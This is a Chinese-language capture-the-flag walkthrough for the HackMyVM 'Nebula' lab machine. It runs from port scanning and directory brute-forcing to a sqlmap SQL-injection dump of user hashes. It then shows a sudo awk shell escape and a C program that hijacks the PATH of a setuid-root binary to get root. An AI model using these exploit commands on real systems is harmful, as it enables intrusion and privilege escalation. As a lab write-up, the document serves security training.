简介
靶机名称:Nebula
难度:简单
靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Nebula
本地环境
虚拟机:vitual box
靶场IP(Nebula):192.168.56.111
跳板机IP(windows 10):192.168.56.1 192.168.190.100
渗透机IP(ubuntu 22.04):192.168.190.30
扫描
zenmap随便扫下
nmap -p 1-65535 -T4 -A -v 192.168.56.111/32
22和80端口
http
路径爆破
有一个登录界面
然后路径爆破出一个目录/joinus
feroxbuster -u http://192.168.56.111/ -t 20 -w $HVV_PATH/8_dict/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -d 2 -fC 404,403,400
超链接会下载一个文档,里面包含了账密信息
https://nebulalabs.org/meetings?user=admin&password=d46df8e6a5627debf930f7b5c8f3b083
成功登入
sql注入
http://192.168.56.111/login/search_central.php
。一眼sql注入。
直接sqlmap一把梭
python3 sqlmap.py -u "http://192.168.56.111/login/search_central.php?id=" --risk 3 --level 5 -dbms=mysql --cookie="PHPSESSID=1lm7qb3vumg4h6t2mnrmpfr88k" -D nebuladb -T centrals --dump-all
Database: nebuladb
Table: central
[2 entries]
+----+----------------------------------+-------------+
| id | password | username |
+----+----------------------------------+-------------+
| 1 | c8c605999f3d8352d7bb792cf3fdb25b | pmccentral |
| 2 | 6dd0ec0f2c1588fcff2b4cf6b4eca72e | experiment1 |
+----+----------------------------------+-------------+
[12:40:51] [INFO] 表 'nebuladb.central' 已导出到 CSV 文件 '/root/.local/share/sqlmap/output/192.168.56.111/dump/nebuladb/central.csv'
[12:40:51] [INFO] 获取列信息for table 'centrals' in database 'nebuladb'
experoment1没爆出来,pmccentral的密码为999999999
成功登陆ssh
提权
sudo -l
pmccentral@laboratoryuser:~$ sudo -l
[sudo] password for pmccentral:
Sorry, try again.
[sudo] password for pmccentral:
Matching Defaults entries for pmccentral on laboratoryuser:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pmccentral may run the following commands on laboratoryuser:
(laboratoryadmin) /usr/bin/awk
直接使用awk语法创建一个shell即可:
sudo -u laboratoryadmin /usr/bin/awk 'BEGIN {system("/bin/sh")}'
flag{$udOeR$_Pr!V11E9E_I5_7En53}
逆向
在laboratoryadmin用户目录下有一个autoScripts
文件夹,里面有两个二进制文件
laboratoryadmin@laboratoryuser:~/autoScripts$ ls -alh
total 32K
drwxr-xr-x 2 laboratoryadmin laboratoryadmin 4.0K Dec 18 20:16 .
drwx------ 10 laboratoryadmin laboratoryadmin 4.0K Apr 29 05:04 ..
-rwsr-xr-x 1 root root 17K Dec 17 15:40 PMCEmployees
-rwxrwxr-x 1 laboratoryadmin laboratoryadmin 8 Dec 18 20:16 head
head字面意思,PMCEmployees拿出来逆一下。
首先就是显眼的setuid(0)
,然后就是执行的当前目录下的head
命令。
因为我们对head
有写权限,所以直接上传一个提权脚本覆盖掉即可。
#include <stdlib.h>
int main(void) {
system("/bin/bash");
return 0;
}
首先把脚本传到靶机上,然后gcc编译成二进制文件,chmod赋予执行权限。最后修改一下环境变量即可。
拿下